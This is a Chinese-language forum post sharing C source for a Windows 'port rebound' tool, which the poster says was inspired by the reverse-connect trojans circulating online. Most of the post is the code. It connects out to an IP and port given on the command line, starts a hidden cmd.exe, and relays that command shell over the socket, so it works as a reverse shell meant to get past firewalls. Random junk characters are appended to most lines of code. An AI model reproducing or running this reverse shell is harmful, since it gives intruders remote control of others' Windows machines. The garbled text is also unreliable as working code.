社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4605阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5$9g4  
<mN.6@*{  
/* ============================== 0/z=G!z\  
Rebound port in Windows NT JDeG@N$  
By wind,2006/7 hUN]Lm6M  
===============================*/ =8:m:Y&|`G  
#include A Ws y9  
#include >1u!(-A  
tl5}#uJ  
#pragma comment(lib,"wsock32.lib") 6a$=m3ic  
x$ z9:'U  
void OutputShell(); H*s_A/$  
SOCKET sClient; TN!8J=sx.  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <\40?*2  
O1!hSu&  
void main(int argc,char **argv) 0$Rl78>(  
{ GIG\bQSv2  
WSADATA stWsaData; z !2-U  
int nRet; mNhVLB  
SOCKADDR_IN stSaiClient,stSaiServer; .H;[s  
Vm\ly;v'R  
if(argc != 3) r:.3P  
{ bWU4lPfP  
printf("Useage:\n\rRebound DestIP DestPort\n"); D&0y0lxI@  
return; TrA&yXXL  
} l`"i'P   
EMK>7 aks  
WSAStartup(MAKEWORD(2,2),&stWsaData); B. '&[A  
"*E06=fiG  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mY!os91KoO  
=SMI,p&  
stSaiClient.sin_family = AF_INET; XL SYE   
stSaiClient.sin_port = htons(0); W:s`;8iM$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Fb8~2N"3  
wNQhz.>y  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,n )f=q*%  
{ 6jS:_[p  
printf("Bind Socket Failed!\n"); "`WcE/(  
return; A6-K~z^  
} N_<wiwI<  
bp"@vlv  
stSaiServer.sin_family = AF_INET; (|Zah1k&]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); qkHdr2  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8['8ctX  
j'xk [bM  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F<R+]M:fa  
{ fSR+~Vy  
printf("Connect Error!");  %<[?;  
return; /4K ^-  
} B+)HDIPa-  
OutputShell(); W_JFe(=3,  
} rt +a/:4+  
{|:ro!&  
void OutputShell() @ ={Hx$zL  
{ uB&um*DP  
char szBuff[1024]; b9 Gq';o  
SECURITY_ATTRIBUTES stSecurityAttributes;  }\ ^J:@  
OSVERSIONINFO stOsversionInfo; |/!3N  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Ep }{m<8c  
STARTUPINFO stStartupInfo; '#Yqs/V  
char *szShell; _'OXrT#Q  
PROCESS_INFORMATION stProcessInformation; p0r:U< &  
unsigned long lBytesRead; kx3?'=0;5  
]|6)'L&]*s  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); b"JJ3$D  
Wra$  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); u( kacQ7  
stSecurityAttributes.lpSecurityDescriptor = 0; ',>Pz+XKc  
stSecurityAttributes.bInheritHandle = TRUE; -(ev68'}W  
YoU|)6Of   
%t.L;G  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); cZVVJUF  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^"  
]x12_+  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;^yR,32F  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4 C7z6VWg  
stStartupInfo.wShowWindow = SW_HIDE; Ad%3 fvn  
stStartupInfo.hStdInput = hReadPipe; V1h&{D\"  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o$4xinK  
)c;zNs  
GetVersionEx(&stOsversionInfo); P84uEDY  
*{K?JB#W  
switch(stOsversionInfo.dwPlatformId) A3su!I2S  
{ D=>[~u3H  
case 1: _zuX6DO  
szShell = "command.com"; z+~klv 3  
break; }4dbS ;C<  
default: 8(jUCD  
szShell = "cmd.exe"; ;1gWz  
break; 8? U!PW  
} kuX{2h*`  
q2SlK8`QJ  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 7k<6oM1  
BSyl!>G6n8  
send(sClient,szMsg,77,0); 45 \W%8  
while(1) sFrerv&0  
{ %k+G-oT5  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :b~5nftr  
if(lBytesRead) wR(>' ?  
{ vGST{Lz;  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); *IGCFZbp41  
send(sClient,szBuff,lBytesRead,0); Lo{g0~?x*  
} AP:(/@K|  
else a7~%( L@r  
{ Dwx^hNh  
lBytesRead=recv(sClient,szBuff,1024,0); !XtZI3Xu  
if(lBytesRead<=0) break; 1 x'H #  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3_ P<0%  
} Yvn*evO4  
} R?Ou=p .  
>@ :m#d  
return; !yQ%^g`  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八